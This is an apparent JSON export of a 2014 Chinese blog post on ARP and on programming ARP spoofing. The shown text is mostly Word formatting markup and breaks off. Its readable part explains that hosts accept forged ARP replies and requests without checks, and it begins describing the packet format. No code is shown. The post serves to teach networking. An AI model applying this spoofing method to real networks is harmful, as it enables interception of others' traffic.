{"id":71,"date":"2014-01-24T16:01:50","date_gmt":"2014-01-24T16:01:50","guid":{"rendered":""},"modified":"2014-01-24T16:01:50","modified_gmt":"2014-01-24T16:01:50","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=71","title":{"rendered":"ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb"},"content":{"rendered":"<div class=\"gfmr-markdown-container\"><div class=\"gfmr-markdown-source\" style=\"display: none;\">&lt;p&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:worddocument&gt;&lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;\/w:browserlevel&gt;&lt;w:displayhorizontaldrawinggridevery&gt;0&lt;\/w:displayhorizontaldrawinggridevery&gt;&lt;w:displayverticaldrawinggridevery&gt;2&lt;\/w:displayverticaldrawinggridevery&gt;&lt;w:documentkind&gt;DocumentNotSpecified&lt;\/w:documentkind&gt;&lt;w:drawinggridverticalspacing&gt;7.8&lt;\/w:drawinggridverticalspacing&gt;&lt;w:view&gt;Normal&lt;\/w:view&gt;&lt;w:compatibility&gt;&lt;w:dontgrowautofit \/&gt;&lt;\/w:compatibility&gt;&lt;w:zoom&gt;0&lt;\/w:zoom&gt;&lt;\/w:worddocument&gt;&lt;\/xml&gt;&lt;![endif]--&gt;&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u6b3a\u9a97\u653b\u51fb&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;br \/&gt;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u2014\u2014By:Wayne&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;mso-list:l0 level1 lfo1;&quot;&gt;\n\t&lt;span style=&quot;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;span style=&quot;mso-list:Ignore;&quot;&gt;\u4e00\u3001&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;ARP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7b80\u8ff0&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u6211\u4eec\u90fd\u77e5\u9053&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5728&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4ee5\u592a\u7f51\u8bbe\u5907\u6bd4\u5982\u7f51\u5361\u90fd\u6709\u81ea\u5df1\u5168\u7403\u552f\u4e00\u7684MAC\u5730\u5740\uff0c\u5b83\u4eec\u662f\u4ee5MAC\u5730\u5740\u6765\u4f20\u8f93\u4ee5\u592a\u7f51\u6570\u636e\u5305\u7684\uff0c\u4f46\u662f\u5b83\u4eec\u5374\u8bc6\u522b\u4e0d\u4e86\u6211\u4eecIP\u5305\u4e2d\u7684IP\u5730\u5740\uff0c\u6240\u4ee5\u6211\u4eec\u5728\u4ee5\u592a\u7f51\u4e2d\u8fdb\u884cIP\u901a\u4fe1\u7684\u65f6\u5019\u5c31\u9700\u8981\u4e00\u4e2a\u534f\u8bae\u6765\u5efa\u7acbIP\u5730\u5740\u4e0eMAC\u5730\u5740\u7684\u5bf9\u5e94\u5173\u7cfb\uff0c\u4ee5\u4f7fIP\u6570\u636e\u5305\u80fd\u53d1\u5230\u4e00\u4e2a\u786e\u5b9a\u7684\u5730\u65b9\u53bb\u3002\u8fd9\u5c31\u662fARP(Address&nbsp;Resolution&nbsp;Protocol\uff0c\u5730\u5740\u89e3\u6790\u534f\u8bae)\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7528\u8fc7ARP\u6b3a\u9a97\u653b\u51fb\u7684\u4eba\u90fd\u77e5\u9053\u5bf9\u67d0\u53f0\u4e3b\u673a\u8fdb\u884cARP\u6b3a\u9a97\u53ef\u4ee5\u6709\u4e24\u79cd\u65b9\u6cd5\u5b9e\u73b0\uff0c\u4e00\u662f\u53d1\u9001ARP\u5e94\u7b54\u5305\uff0c\u4e8c\u662f\u53d1\u9001ARP\u8bf7\u6c42\u5305\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5728\u5411\u76ee\u6807\u4e3b\u673a\u53d1\u9001ARP\u5e94\u7b54\u5305\u65f6\uff0c\u76ee\u6807\u4e3b\u673a\u4e0d\u4f1a\u68c0\u67e5\u81ea\u5df1\u66fe\u662f\u5426\u53d1\u9001\u8fc7ARP\u8bf7\u6c42\uff0c\u800c\u4f1a\u76f4\u63a5\u6839\u636e\u63a5\u6536\u5230\u7684ARP\u5e94\u7b54\u5305\u4e2d\u7684\u5185\u5bb9\u4fee\u6539\u672c\u673a\u7684ARP\u7f13\u5b58\u8868\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5e7f\u64adARP\u8bf7\u6c42\u65f6\uff0c\u53ea\u8981\u662f\u63a5\u6536\u5230\u6b64ARP\u8bf7\u6c42\u5305\u7684\u4e3b\u673a\u4e5f\u4e0d\u4f1a\u68c0\u67e5\u6b64ARP\u8bf7\u6c42\u5305\u662f\u5426\u5728\u8bf7\u6c42\u81ea\u5df1\u7684MAC\uff0c\u800c\u4f1a\u6839\u636e\u8bf7\u6c42\u5305\u4e2d\u7684\u53d1\u9001\u65b9MAC\u548c\u53d1\u9001\u65b9IP\u6765\u4fee\u6539\u672c\u5730\u7684ARP\u7f13\u5b58\u8868\uff0c\u8fd9\u4e00\u673a\u5236\u867d\u7136\u51cf\u5c11\u4e86\u7f51\u7edc\u6d41\u91cf\uff0c\u4f46\u662f\u4e5f\u9020\u6210\u4e86\u5b89\u5168\u95ee\u9898\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4e0b\u9762\u6211\u4eec\u6765\u770b\u4e00\u4e0bARP\u5305\u7684\u683c\u5f0f:&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4ece\u7f51\u7edc\u5e95\u5c42\u770b\u6765\uff0c\u4e00\u4e2aARP\u5305\u662f\u5206\u4e3a\u4e24\u4e2a\u90e8\u5206\u7684\uff0c\u524d\u9762\u4e00\u4e2a\u662f&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4ee5\u592a\u7f51\u5934\uff0c&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5b83&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5b58\u5728&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4e8e\u4efb\u4f55\u4e00\u4e2a\u534f\u8bae\u6570\u636e\u5305\u7684\u524d\u9762&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5176\u4e3b\u8981\u5185\u5bb9\u4e3a\u6536\u53d1\u53cc\u65b9\u7684\u7269\u7406\u5730\u5740\uff0c\u4ee5\u4fbf\u786c\u4ef6\u8bbe\u5907\u8bc6\u522b&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u540e\u9762\u4e00\u4e2a\u662fARP\u5e27\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png&quot; id=&quot;ematt:128&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:worddocument&gt;&lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;\/w:browserlevel&gt;&lt;w:displayhorizontaldrawinggridevery&gt;0&lt;\/w:displayhorizontaldrawinggridevery&gt;&lt;w:displayverticaldrawinggridevery&gt;2&lt;\/w:displayverticaldrawinggridevery&gt;&lt;w:documentkind&gt;DocumentNotSpecified&lt;\/w:documentkind&gt;&lt;w:drawinggridverticalspacing&gt;7.8&lt;\/w:drawinggridverticalspacing&gt;&lt;w:view&gt;Normal&lt;\/w:view&gt;&lt;w:compatibility&gt;&lt;w:dontgrowautofit \/&gt;&lt;\/w:compatibility&gt;&lt;w:zoom&gt;0&lt;\/w:zoom&gt;&lt;\/w:worddocument&gt;&lt;\/xml&gt;&lt;![endif]--&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:latentstyles deflockedstate=&quot;false&quot; defunhidewhenused=&quot;true&quot; defsemihidden=&quot;true&quot; defqformat=&quot;false&quot; defpriority=&quot;99&quot; latentstylecount=&quot;156&quot;&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footer&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;caption&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of figures&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope return&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;line number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;page number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of authorities&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;macro&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toa heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Title&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Closing&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Default Paragraph Font&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Message Header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Subtitle&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Salutation&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Date&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Note Heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Block Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Hyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;FollowedHyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Strong&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Emphasis&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Document Map&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Plain Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;E-mail Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal (Web)&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Acronym&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Cite&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Code&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Definition&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Keyboard&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Preformatted&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Sample&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Typewriter&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Variable&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Table&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; 